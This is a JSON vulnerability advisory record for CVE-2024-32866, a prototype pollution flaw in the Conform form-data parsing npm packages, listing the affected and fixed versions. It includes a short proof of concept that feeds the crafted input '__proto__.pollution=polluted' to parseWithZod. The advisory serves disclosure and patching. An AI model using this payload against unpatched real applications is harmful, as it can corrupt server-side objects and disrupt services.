{"id":"GHSA-624g-8qjg-8qxf","revision":"6305b62fb98e435e818eb1ab41cfa1ee","records":[{"revision":"6305b62fb98e435e818eb1ab41cfa1ee","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-624g-8qjg-8qxf","aliases":["CVE-2024-32866"],"title":"Conform contains a Prototype Pollution Vulnerability in `parseWith...` function","description":"### Summary\nConform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.\n\n### PoC\n```javascript\nconst { parseWithZod } = require('@conform-to/zod');\nconst { z } = require(\"zod\"); \n\nconst param = new URLSearchParams(\"__proto__.pollution=polluted\");\nconst schema = z.object({ \"a\": z.string() });\n\nparseWithZod(param, { schema });\nconsole.log(\"pollution:\", ({}).pollution); // should print \"polluted\"\n```\n\n### Details\n\nThe invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:\n\n```javascript\nlet pointer = value;\n\npointer.__proto__ = pointer.__proto__;\npointer = pointer.__proto__;\n\npointer.polluted = \"polluted\";\n```\n\nThis is caused by the lack of object existence checking on [line 117 in formdata.ts](https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117), where the code only checks for the presence of `pointer[key]` without proper validation.\n\n### Impact\nApplications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.\n","state":0,"publishedAt":"2024-04-23T21:15:55+00:00","modifiedAt":"2026-09-10T03:49:18.7322909+00:00","affected":[{"ecosystem":"npm","name":"@conform-to/dom","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.1.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@conform-to/zod","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.1.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@conform-to/yup","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.1.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@conform-to/zod","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@conform-to/yup","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@conform-to/dom","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.9.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf","https://nvd.nist.gov/vuln/detail/CVE-2024-32866","https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de","https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef","https://github.com/edmundhung/conform","https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117"],"sourceUrl":"https://github.com/advisories/GHSA-624g-8qjg-8qxf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-624g-8qjg-8qxf","identifiers":["GHSA-624g-8qjg-8qxf","CVE-2024-32866"]},"retained":false,"historicalAffected":[]}],"coverage":[]}